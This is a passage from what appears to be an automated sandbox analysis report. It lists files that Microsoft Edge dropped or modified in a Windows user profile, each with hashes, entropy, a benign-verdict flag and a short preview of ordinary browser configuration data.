Preview:	2024/11/28-02:55:43.259 20fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/28-02:55:43.286 20fc Recovering log #3.2024/11/28-02:55:43.294 20fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	375520
Entropy (8bit):	5.354164427207548
Encrypted:	false
SSDEEP:	6144:uA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:uFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	F99516D1CE5EC8D2806528090DEC1D09
SHA1:	CBF19F70698B34AB8E7F0B2086CF2203D956E0C2
SHA-256:	5D8F71F524DD1C207622063930C5909267B8E8AF30A0406A4A6A76819255A1FE
SHA-512:	3F1BBEE668B174E1EFCAC8E863C856ED8CAB0CC9D50D7D2E7473346436EA59A6C6CF9E3A6113A01F174041CEC7467A3D744ABE70953D8C357126639C551C4E9E
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13377254146327585..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.214110168903767
Encrypted:	false
SSDEEP:	6:HId1IoM1CHhJ23oH+Tcwtk2WwnvB2KLlVId3pyq2PCHhJ23oH+Tcwtk2WwnvIFUv:o7bAYebkxwnvFLgKvBYebkxwnQFUv
MD5:	A50CFC1AB603C33E71640D53521AAC0A
SHA1:	665F9CE895EB472449980A62AF07B86652CB5DB0
SHA-256:	A448E1B989A03FB67944443978621525A94CCC9203592A5A3B6D6BEC1B078961
SHA-512:	CE3626F3972F2C355419C2008A55A2A0AD84AD90D913C33B5A5E652F976B4C038B1F2EC47AE6E76A33FC9E84A60E97430BAE1728797EA5A1AA6D1F25DD133AEB
Malicious:	false
Preview:	2024/11/28-02:55:43.286 2114 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/28-02:55:43.359 2114 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	358860
Entropy (8bit):	5.324607613950063
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Ro:C1gAg1zfvg
MD5:	DB76325A681B77A69C64453C892D61AA
SHA1:	09952DD36D7C5FCAA38A398DCDA6880D4A154606
SHA-256:	4FBD9EC88DA9CB988AC3FC7F4B97879433073DF32A31CD8593F00808DED0BEA0
SHA-512:	ECF3978AAD5583A7E2166418960FD2D7EA17847B3968D0D45F40F4BE3A9D59E4F43E735195F5551F6F3D705B497701AC89949BC53A25869E4B13C077437B7B99
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5f01c2ff-4b1b-44d5-bf43-063bb1ea68e3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6286425c-56aa-462d-945d-f2a04cd61ddb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3bbee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2a416.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2c6f0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ad95cae1-c913-4c82-917f-5e989553af44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c929a91f-fbe5-45e3-b7e8-74f6a6470408.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1747
Entropy (8bit):	5.307565677554978
Encrypted:	false
SSDEEP:	48:YcCpfgCzsgtsLfc7RsFSleeIkEsFnCgHUYhbc:F2fzw22SkeIkxnTlh4
MD5:	4625BEE6D576EBFBAB6EC5EDE90F1956
SHA1:	57F67DD2177E376C3B1BC9D9269A5E8BCC237C81
SHA-256:	69C134F1BA318CAEE39D10A30C8981C65DB780662F27E56299AD0D90CD694586
SHA-512:	BAF3A69F50180DE119ED45BECE84001FFB4B72DF9BDF8E556C8F6B3677965291A4749CC080A538F3A93F6C792C94D8C8D18332B97926257E584AD7666B91EF66
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379846146972176","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379846149731720","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cee6e620-58c8-4aba-aaa1-06411dcf197a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d4f8b43a-cfcf-4be8-bf69-be2c8e249521.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.1102557573284955
Encrypted:	false
SSDEEP:	192:st9CkdpDFshUjSIa34HkKcGZ8/bV+FTXQA4I3q7NIoPqYJ:st9CQDFsieX2ybGzQxB7NI2
MD5:	A78373C9A0BC8F95A573CE57BA155C5E
SHA1:	1610A87435717BF9F34029EB227C71A1E3B86CB6
SHA-256:	C30694258E5BBEA52849A1344818819CCF6F51729925F3D57D637FA0A72254A4
SHA-512:	70B584FAD9F1AFF7BD9B3588E16A825A3251C8976A180FB368E5AEAA2046B6124BA99757A3AE9F755811CB298276AF3F2B66F3A349D95D52E85FC78FCF291C88
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377254138064976","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2e9c9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.1102557573284955
Encrypted:	false
SSDEEP:	192:st9CkdpDFshUjSIa34HkKcGZ8/bV+FTXQA4I3q7NIoPqYJ:st9CQDFsieX2ybGzQxB7NI2
MD5:	A78373C9A0BC8F95A573CE57BA155C5E
SHA1:	1610A87435717BF9F34029EB227C71A1E3B86CB6
SHA-256:	C30694258E5BBEA52849A1344818819CCF6F51729925F3D57D637FA0A72254A4
SHA-512:	70B584FAD9F1AFF7BD9B3588E16A825A3251C8976A180FB368E5AEAA2046B6124BA99757A3AE9F755811CB298276AF3F2B66F3A349D95D52E85FC78FCF291C88
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377254138064976","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF32a4d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
